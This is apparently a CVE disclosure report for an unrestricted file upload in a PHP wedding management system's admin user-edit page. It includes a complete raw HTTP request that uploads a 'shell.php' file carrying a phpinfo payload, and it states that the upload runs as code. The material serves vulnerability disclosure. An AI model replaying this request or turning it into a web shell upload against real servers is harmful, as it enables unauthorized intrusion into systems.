CVE-2022-30820: bug_report/RCE-4.md at main · k0xx11/bug_report

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Wedding Management System v1.0 by codeastr.com has arbitrary code execution (RCE)

vendor: https://codeastro.com/wedding-management-system-in-php-with-source-code/

Vulnerability url: http://ip/Wedding-Management/admin/users_edit.php?id=8

Loophole location：The editing function of “User Management” module in the background management system-- > there is an arbitrary file upload vulnerability (RCE) in the picture upload point of “users_edit.php” file.

Click “Edit User” to save

Request package for file upload：

POST /Wedding-Management/admin/users_edit.php?id=8 HTTP/1.1 Host: 192.168.1.19 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Referer: http://192.168.1.19/Wedding-Management/admin/users_edit.php?id=8 Cookie: PHPSESSID=0m2td1md252hlnr3nsbmc5ss99 Connection: close Content-Type: multipart/form-data; boundary=---------------------------11784258372980 Content-Length: 1069 -----------------------------11784258372980 Content-Disposition: form-data; name="submit" -----------------------------11784258372980 Content-Disposition: form-data; name="profile_picture"; filename="shell.php" Content-Type: application/octet-stream JFJF <?php phpinfo();?> -----------------------------11784258372980 Content-Disposition: form-data; name="firstname" Pharell -----------------------------11784258372980 Content-Disposition: form-data; name="lastname" Colin -----------------------------11784258372980 Content-Disposition: form-data; name="email" [email protected] -----------------------------11784258372980 Content-Disposition: form-data; name="username" pcolin -----------------------------11784258372980 Content-Disposition: form-data; name="gender" m -----------------------------11784258372980 Content-Disposition: form-data; name="address" 115 Test Street -----------------------------11784258372980 Content-Disposition: form-data; name="designation" 1 -----------------------------11784258372980–

The files will be uploaded to this directory \admin\upload\users\

We visited the directory of the file in the browser and found that the code had been executed